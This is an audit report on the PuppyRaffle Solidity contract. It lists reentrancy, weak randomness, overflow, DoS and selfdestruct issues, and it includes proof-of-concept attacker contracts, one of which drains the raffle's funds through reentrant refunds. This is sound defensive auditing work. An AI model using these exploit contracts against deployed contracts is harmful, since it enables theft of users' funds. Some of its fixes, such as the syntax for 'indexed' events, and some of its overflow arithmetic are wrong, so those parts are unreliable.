PuppyRaffle Audit Report

Version 1.0

Jeremy Bru

February 20, 2024

PuppyRaffle Audit Report

Jeremy Bru

Feb 20, 2024

Minimal Audit Report - PuppyRaffle

Prepared by: Jeremy Bru (Link) Lead Security Researcher:

- Jeremy Bru

Contact: –

Table of Contents

Protocol Summary

This project is to enter a raffle (a lottery) to win a cute dog NFT. The protocol should do the following:

- Call the `enterRaffle` function with the following parameters:
  - `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a `feeAddress` to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I, Jeremy Bru, did makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Uses the CodeHawks (Link) severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: `e30d199697bbc822b646d76533b66b7d529b8ef5`

Scope

```
./src/
|___ PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through refund function.

Executive Summary

Used `Forge Foundry`, `Aderyn`, `Slither` and manual review to find the following issues and write test cases to show the issues.

Issues found

Severyity	Number of findings
High	5
Medium	4
Low	1
Infos	6
———	———————
Total	16

Findings

High

[S-H1] State change should be done before refund transaction, to avoid a Re-entrancy attack and contract to be drained to 0.

Description:

The state change of the `playerIndex` in the `refund()` function should be done before the external call transaction that sends a value to the user for refunds.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

-->  payable(msg.sender).sendValue(entranceFee);

-->  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

The `RaffleRefunded` event should be emitted before the state changes. It is a best practice to emit the event before the state changes.

It avoid any confusion about the state of the contract, and avoid to let the door open to any reentrancy attack.

Impact:

- Leading to sucking refund funds from the contract. And making the refund function unusable for other users has no funds will be left. As the contract will then be empty.

Proof of Concept:

Run `slither .` in the root folder of the project, there will be the below output details:

Click to see Slither output

```
INFO:Detectors:
Reentrancy in PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#152-175)
    :
        External calls:
        - address(msg.sender).sendValue(entranceFee) (src/PuppyRaffle.
            sol#169)
        State variables written after the call(s):
        - players[playerIndex] = address(0) (src/PuppyRaffle.sol#171)
        PuppyRaffle.players (src/PuppyRaffle.sol#35) can be used in
            cross function reentrancies:
        - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol
            #102-148)
        - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.
            sol#182-195)
        - PuppyRaffle.players (src/PuppyRaffle.sol#35)
        - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#152-175)
        - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#203-244)
Reference: https://github.com/crytic/slither/wiki/Detector-
    Documentation#reentrancy-vulnerabilities-1
```

- Test case to show the reentrancy attack using an attacker contract:

1. Users enters the raffle.
2. Attacker sets up a contract with a fallback function that calls `refund`.
3. Attacker enters the raffle
4. Attacker calls `refund` from their contract, draining the contract balance.

```

    function testCanGetRefundReentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        console.log(
            "The balance of the raffle contract before attack is: %s",
            address(puppyRaffle).balance
        );

        // introduce attacker
        AttackReentrant attackerContract = new AttackReentrant(
           puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 10 ether);

        uint256 attackerContractBalanceBefore = address(
           attackerContract)
            .balance;

        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Attacker contract balance before the attack: %s",
            attackerContractBalanceBefore
        );
        console.log(
            "Attacker contract balance after the attack: %s",
            address(attackerContract).balance
        );

                console.log(
            "The balance of the raffle contract after attack is: %s",
            address(puppyRaffle).balance
        );
    }
```

- Attacker contract:

```
contract AttackReentrant {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recommended Mitigation:

- Change the place of where the event is emitted and where the state change is happening to avoid an reentrancy attack on the `refund` function.

```
    function refund(uint256 playerIndex) public {
        // @audit it also have a MEV attack in this function, front
           running the transaction
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

+         // @audit changing the event and state change place to avoid a
    re entrancy attack
+       emit RaffleRefunded(playerAddress);
+       players[playerIndex] = address(0);

        payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

- Can also add a reentrancy guard to the function by using openZeppelin library ReentrancyGuard

[S-H2] Missing access control on the `selectWinner()` function, leading to the possibility to end the raffle and be selected as the winner at any time.

Description:

- The worse part of this attack is not actually the access control missing, but the reentrancy attacks that comes together. Anybody at any time can end the raffle, and be selected as the winner. And if the owner hasn't withdrawn the fees, then just calling the function each day at the right time before any owner actions, will slowly suck the fees of the contract.

Impact:

- Severe impact on the use of the raffle by users. Nearly an instant DOS attack to get all NFT and fees left.

Recommended Mitigation:

- Add a OnlyOwner modifier to the `selectWinner()` function from the `Ownable` library in use from OpenZeppelin.

```
-    function selectWinner() external {
+    function selectWinner() external onlyOwner {
```

[S-H3] Overflow + Loss precision + Unsafe casting of an uint256 to uint64 on the fee calculated before the owner can withdraw it, leading to a loss of funds in what the owner can withdraw.

Description:

For solidity version under 0.8.0, int and uint are gonna wrap arround to the beginning. The max of an uint64 is 18446744073709551615. If the totalFees is over this number, it will wrap arround to 0.

- Fees will use 18 decimals. If the total fee has let say 0.1 eth more to its count to be withdrawn so let say 18,5 eth, it will be 100000000000000000 + 18446744073709551615 = 50000000000000000 -> 0,05 eth since it wrap around starting from the begining. So from Zero. (number is not exactly exact, but it will be near the result i gave).

```
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        // @audit overflow
        totalFees = totalFees + uint64(fee);
```

- Additionally there is a loss in precision, and the owner will not be able to withdraw the exact amount of fees or the max amount of fees available in the contract that is due to him.
- And there is also an unsafe casting of an uint256 to an uint64. If 20 eth happen to be cast to an uint64, it will wrap arround to 0 from 18.4 eth and it will result in a result of 1.5 eth.

Impact:

- Owner will not be able to withdraw more than 18.4 eth of fees, and if that number is reached and beyond. Owner is screwed and will we able to withdraw only dust when counter for fees restart from zero.
- **Proof of Concept:**

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation:

- Do not use uint64 for 18 decimals tokens.
- Should upgrade solidity version to its latest version to avoid this kind of issue.
- Should change uint64 for uint256. Considered as a best practice to use uint256 for 18 decimals tokens, as it is almost computationally hard to reach the max cap.
- Should use SafeMath to avoid overflow in version under 0.8.0. But better to upgrade to the latest version of solidity.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[S-H4] Winner and the NFT won can be guessed, weak RNG attack leading to the possibility to win each time. Same goes for the NFT rarity randomness.

Description:

The `selectWinner()` function choose a winner based on 3 valued hashed together.

```
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp, block.
                    difficulty)
            )
        ) % players.length;
```

The `block.difficulty` is a weak source of randomness, and can be manipulated by a miner to influence the outcome of the hash. It can also be guessed in advance, same for the `block.timestamp`.

- The exact same for NFT rarity randomness.

```
        uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
```

- For more, checkout those links:
  - Weak randomness is a well-known attack vector
  - `block.difficulty` has been replaced by `prevrandao` solidity blog on prevrando
  - Solidity Security Considerations
  - Solidity Randomness

Impact:

- An attacker could became the winner each time, and get the NFT won each time. And the contract will be unusable for other users.
- Possibility to choose which NFT to win, and the rarity of the NFT.
- The winner does not only win the NFT, it also gets a part of the entrance fee.
- If there is an attacker, the address used to be the winner will change each time to empeach blacklisting. This is to keep in mind.

Recommended Mitigation:

- To get a mathematiquealy secure random number, use Chainlink VRF (Verifiable Random Function) to get a secure random number and then choose a winner.Chainlink VRF
- This also needs to be applied to how the rarity of NFT is decided. To avoid any winning manipulation for getting a specific NFT.

[S-H5] Malicious winner can stop the lottery to work forever.

Description:

When a winner is chosen, the `selectWinner` function sends the prize to the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

- If the winner account were a smart contract that did not implement a `payable fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would stop. And the prize would never be distributed and the lottery would never be able to start for a new session.
- There's another attack vector that can be used to stop the lottery, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.
- Therefore, an attacker can register a smart contract in the lottery that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact:

- In all situations, because it'd be impossible to distribute the prize and start a new round, the raffle would be stopped forever.

Proof of Concept:

Test case:

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

Attacker option 1:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Attacker option 2:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation:

- Favor pull-payments over push-payments (known as Pull-Over-Push). This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner` .

Medium

[S-M1] Players Array Check Leading to a For Loop, Resulting in a DOS Attack, which increments the entry cost for next user.

Description:

The handling of the `players` array in the `enterRaffle` function poses a security risk by enabling a DOS (Denial Of Service) attack through inefficient duplicate checking. For a large array, iterating through each index to check for duplicates increases gas costs significantly, potentially making the contract unusable due to prohibitive gas fees.

DOS attack is not limited to bad handling of array in a for loop. Example:

- block gas limit exploits, or a way to impeach the transaction to go through, or to make it impossible to be made due to its cost, or to revert it on a malicious contract each time in the fallback and receive function by putting some condition or acceptance of an asset / gas or minimal necessary amount of gas being too high etc…
- Basically, making the contract unusable for users or, restraining transactions to go through.

Impact:

- This flaw disadvantages early and late raffle entrants and allows an attacker to render the contract inoperative, monopolizing the raffle.
- Attacker can add any number of players to the array and make the contract unusable for other users. And still be the winner by matching the right number of player to get one of the addresses they own to be the winner and be refunded in time for no losses on other added accounts by using the weak randomness attack that is also present.

If Users enter the raffle after 1000 of other users, the gas cost will be too high for them to enter the raffle and participate. And the contract will be unusable for them. Leading to a DOS attack. Depending on how the `enterRaffle` function is made it could even happen for 10 users.

Amount of gas used to enter the raffle paid by the last player that enters after other players:

```
// 143236 gas for 5 players
// 636724 gas for 20 players
// 2156305 gas for 50 players
// 6064707 gas for 98 players
// 17397671 gas for 196 players
```

Proof of Concept:

Click the below "Code" button to see code details of a test case that shows the gas cost of the last player entering the raffle after other players.

Code

```
function testCanBlewUpGasPriceWhenLookingForDuplicates() public {
        vm.txGasPrice(1);
        uint256 numberOfPlayers = 98; //1 to 100

        address[] memory players = new address[](uint160(numberOfPlayers));
        for (uint256 i; i < numberOfPlayers; i++) {
            players[i] = address(i);
        }
        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasAfter = gasleft();
        uint256 gasUsedFirst = (gasBefore - gasAfter) * tx.gasprice;
        console.log(
            "Gas used by the last player of the first array of %s players: %s",
            numberOfPlayers,
            gasUsedFirst
        );

        // Second salve of "x" number of players

        address[] memory playersSecond = new address[](
            uint160(numberOfPlayers)
        );
        for (uint256 i; i < numberOfPlayers; i++) {
            playersSecond[i] = address(i + numberOfPlayers);
        }
        uint256 gasBeforeSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersSecond
        );
        uint256 gasAfterSecond = gasleft();

        uint256 gasUsedSecond = (gasBeforeSecond - gasAfterSecond) *
            tx.gasprice;

        console.log(
            "Gas used by the last player of the second array of %s players: %s",
            players.length,
            gasUsedSecond
        );

        assert(gasUsedFirst < gasUsedSecond);

        // 143236 gas for 5 players
        // 636724 gas for 20 players
        // 2156305 gas for 50 players
        // 6064707 gas for 98 players
        // 17397671 gas for 196 players
    }
```

Recommended Mitigation:

- Users can enter the raffle with a different address. Which bypass the duplicate check, and allows anybody to enter more than once.
- Better to use a mapping to constantly check participants addresses for duplicates. For different raffles, by incorporating a number to the raffle as an id. Ie: Raffle number 1, number 2 etc. . . .

```
// @audit if pragma version is above 0.8.0 can use error / revert
    handlers
// error PuppyRaffle__DuplicatePlayer();

(..... PuppyRaffle contract ......)

    // @audit mapping to check participants and raffle id
+    mapping(address => uint256) public addressToParticipantIndex;
+    uint256 public raffleId = 0;

(..... Rest of the code ......)

..... Within enterRaffle function:
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
 +      addressToParticipantIndex[newPlayers[i]] = raffleId;
    }

-    // Check for duplicates
+    // @audit check for duplicates based on a raffle ID and a mapping
    of participants

    for (uint256 i = 0; i < players.length - 1; i++) {
-        for (uint256 j = i + 1; j < players.length; j++) {
-            require(
-                players[i] != players[j],
-                "PuppyRaffle: Duplicate player"
-            );
-        }
+        require(
+            addressToParticipantIndex[players[i]] != raffleId,
+            "PuppyRaffle: Duplicate player"
+        );


```

```
    // @audit or use error / revert statement if pragma version is up
       to date
    // if(addressToParticipantIndex[newPlayers[i]] != raffleId){
    //     revert PuppyRaffle__DuplicatePlayer();
    // }

..... Within selectWinner function:
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");

    }
```

- Can also check those library for the same purpose:
  - OpenZepplin EnumerableSet
  - OpenZeppelin EnumerableMap

[S-M2] Player at index 0 in getActivePlayerIndex(), won't be considered as being an active player leading to no refund possibilities for the player.

Description:

The function description stipulate that, if there is no active player in the array, `getActivePlayerIndex()` will returns 0:

`/// @return the index of the player in the array, if they are not active, it returns 0`

If the only player being active in the raffle session is at index 0, the function will return 0, and the player won't be considered as being an active player. And won't be able to get refunded in the `refund()` function.

```
require(playerAddress !=
  address(0), "PuppyRaffle: Player already refunded, or is not active")
      ;
```

Impact:

Having any player not being to be refunded, and not being considered as an active player, is a medium severity issue. It is a bad design for the very first player entering the raffle.

Recommended Mitigation:

- There is 2 different pattern that can be used to correct the logic issue. returning a boolean + the index of the player in the array (ie: no player `false + 0`, active player at index 0 `true + 0`), or returning the max uint256 instead of 0 for denominating that there is no active player in the array.
- Change the logic of the getActivePlayerIndex() function by returning the max uint256 instead of 0 for denominating that there is no active player in the array.

```diff
    /// @notice a way to get the index in the array
    /// @param player the address of a player in the raffle
-   /// @return the index of the player in the array, if they are not active, it returns 0
+   /// @return the index of the player in the array, if they are not active, it returns the max uint256

    function getActivePlayerIndex() public view returns (uint256) {
        for (uint256 i; i < players.length; i++) {
            if (players[i] != address(0)) {
                return i;
            }
        }

        // @audit if there is no active player at index 0, return the max uint
-       return 0;
+       return type(uint256).max;
    }
```

[S-M3] A winner being a Smart-Contract without a `receive` or a `fallback` will block the start of a new lottery.

Description:

- The `selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.
- Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact:

The `selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

- Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation:

1. Disallow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

[S-M4] Balance check on `withdrawFees` enables the use of `selfdestruct` to force eth into the contract, then blocking withdrawals

Description:

- The `withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a payable `fallback` or `receive` function, a user or attacker could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
-->      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact:

This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

- `PuppyRaffle` has 800 wei in it's balance, and 800 `totalFees`.
- Malicious user sends 1 wei via a `selfdestruct`, there is now 801 wei in balance but 800 calculated as `totalFees`. Balance and `totalFees` are not equal anymore.
- `feeAddress` is no longer able to withdraw funds

Recommended Mitigation:

Remove the balance check on the `withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Low

[S-L1] Events should get indexed for better searchability and filtering.

Description:

- Events are used to log transactions and record state changes to the blockchain. They are useful for tracking and searching for specific transactions and state changes. However, the events in the `PuppyRaffle` contract are not indexed, which makes it difficult to search and filter for specific transactions and state changes.
- Note: Indexed event are stored more efficiently.

Impact:

- Hard to retrieve and filter events. It is a low severity issue, but it is a good practice to index events for better searchability and filtering.
- It can be used by a third party app to track the state of the contract and the transactions that are happening.

Proof of Concept:

Add the `indexed` keyword:

```
-    event RaffleEnter(address[] newPlayers);
-    event RaffleRefunded(address player);
-    event FeeAddressChanged(address newFeeAddress);

+    event RaffleEnter(address[] newPlayers) indexed;
+    event RaffleRefunded(address player) indexed;
+   event FeeAddressChanged(address newFeeAddress) indexed;
```

Informational

[S-Info1] Floating Pragmas and Version is Outdated, Leading to Arithmetic Attack and Supply Chain Attack and bad optimization and compatibility issues.

Description:

The solidity compiler version is outdated, leading to exploits and vulnerabilities that have been fixed in subsequent releases. Contract: `PuppyRaffle.sol`

Given that this error facilitates an Arithmetic Attack and results in the use of outdated Solidity features, it constitutes a high severity issue. These errors will be elaborated upon in their respective sections.

Impact:

Vulnerabilities and compatibility issues related to the current compiler version include:

- Arithmetic Attack (one instance found in the contract).
- Inability to use error and revert statements efficiently in the chosen version, which have been supported starting from Solidity version 0.8.0. While these features are recommended for gas efficiency, they also serve as essential security measures that should be available from the outset in the code.
- Upgrading to at least version 0.8.0 would render the `base64` library incompatible with the contract: `PuppyRaffle.sol`, necessitating a rework to reintegrate it. However, it is advisable to update to the latest stable version available.
- The current version may lack other efficient and secure functions, including incompatibility with various libraries, as detailed below:

Slither Output

```
Found incompatible Solidity versions:
src/PuppyRaffle.sol (^0.8.24) imports:
    lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol
        (>=0.6.0 <0.8.0)
    lib/openzeppelin-contracts/contracts/access/Ownable.sol (>=0.6.0
        <0.8.0)
    lib/openzeppelin-contracts/contracts/utils/Address.sol (>=0.6.2
        <0.8.0)
    lib/base64/base64.sol (>=0.6.0)
    lib/openzeppelin-contracts/contracts/utils/Context.sol (>=0.6.0
        <0.8.0)
    lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol
        (>=0.6.2 <0.8.0)
    lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Metadata.
        sol (>=0.6.2 <0.8.0)
    lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Enumerable
       .sol (>=0.6.2 <0.8.0)
    lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.
       sol (>=0.6.0 <0.8.0)
    lib/openzeppelin-contracts/contracts/introspection/ERC165.sol
       (>=0.6.0 <0.8.0)
    lib/openzeppelin-contracts/contracts/math/SafeMath.sol (>=0.6.0
       <0.8.0)
    lib/openzeppelin-contracts/contracts/utils/Address.sol (>=0.6.2
       <0.8.0)
    lib/openzeppelin-contracts/contracts/utils/EnumerableSet.sol
       (>=0.6.0 <0.8.0)
    lib/openzeppelin-contracts/contracts/utils/EnumerableMap.sol
       (>=0.6.0 <0.8.0)
    lib/openzeppelin-contracts/contracts/utils/Strings.sol (>=0.6.0
       <0.8.0)
    lib/openzeppelin-contracts/contracts/utils/Context.sol (>=0.6.0
       <0.8.0)
    lib/openzeppelin-contracts/contracts/introspection/IERC165.sol
       (>=0.6.0 <0.8.0)
    lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol
       (>=0.6.2 <0.8.0)
    lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol
       (>=0.6.2 <0.8.0)
    lib/openzeppelin-contracts/contracts/introspection/IERC165.sol
       (>=0.6.0 <0.8.0)
```

Proof of Concept:

`PuppyRaffle.sol`

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.8.24;
```

Recommended Mitigation:

- Upgrade the Solidity version and address compatibility issues with the `base64` library and other incompatible libraries package.
- Smart contracts should be deployed with the same compiler version. https://swcregistry.io/docs/SWC-103/

[S-Info2] Unavailability of Basic Functions Due to Outdated Pragma Version, e.g., Error and Revert Statements

Description:

As highlighted in the previous finding regarding the pragma version Here, the current version of the contract prohibits the use of error and revert statements, which have been available since Solidity version 0.8.0. These features are not only best practices for gas efficiency but also crucial for security.

Impact:

This results in the inability to use fundamental Solidity functions introduced from version `0.7.6` to the latest version, including error and revert statements for efficient error handling.

- Unable to use `error` and `revert` statements in the chosen version, to deal with error handling more efficiently.
- Other efficient and secure functions could be missing in the actual version.

Proof of Concept:

`PuppyRaffle.sol`

To implement these error handlers, first upgrade the compiler version:

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.8.24;
```

Then declare errors outside the contract scope, below imports, and replace relevant `require` statements with `error` and `revert` for gas efficiency.

```
  (.....other imports.....)
  import {Address} from "@openzeppelin/contracts/utils/Address.sol";
  import {Base64} from "lib/base64/base64.sol";

+ error PuppyRaffle__MustSendEnoughToEnterRaffle(
+     uint256 value,
+     uint256 entranceFeeRequired
+);

contract PuppyRaffle is ERC721, Ownable { ...... rest of the contract
    ...... }
```

Change `requirement` statements that can be handled by `error` and `revert` statements for gas eficiency:

`enterRaffle()`

```
-        require(
-            msg.value == entranceFee * newPlayers.length,
-            "PuppyRaffle: Must send enough to enter raffle"
-        );

        // @audit change the require in an if condition
+       if (msg.value != entranceFee * newPlayers.length) {
+           revert PuppyRaffle__MustSendEnoughToEnterRaffle({
+               value: msg.value,
+               entranceFeerequired: entranceFee * newPlayers.length
+           });
+       }
```

Too see the difference in gas efficiency, run a test before and after the change.

Recommended Mitigation:

- Upgrade to at least version 0.8.0, solving compatibility issues with the `base64` library and any other incompatible libraries first.
- Substitute `require` statements that can be handled by `error` and `revert` to enhance gas efficiency.
- Smart contracts should be deployed with the same compiler version. https://swcregistry.io/docs/SWC-103/

[S-Info3] Magic Numbers

Description:

All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation:

- Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[S-Info4] Zero address checker on `feeAddress`

Description:

The `PuppyRaffle` contract does not check that the `feeAddress` is not the zero address. This means that the `feeAddress` could be change to the zero address, and fees would be lost.

```

PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
    PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
    sol#165) lacks a zero-check on :
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation:

- Put in place a zero address checker whenever the feeAddress is updated.

[S-Info5] The function `_isActivePlayer()` is never used, remove it or change its use case.

Description:

The function `_isActivePlayer()` is never used and should be removed or changed to `externally` to be used. Or change the logic of its use case.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[S-Info6] Fixed value variables should be marked as `constant` or `immutable`

Description:

- Constant:

```

PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) -> constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) -> constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) -> constant
```

- Immutable:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) -> immutable
```

Gas

- Included in above findings.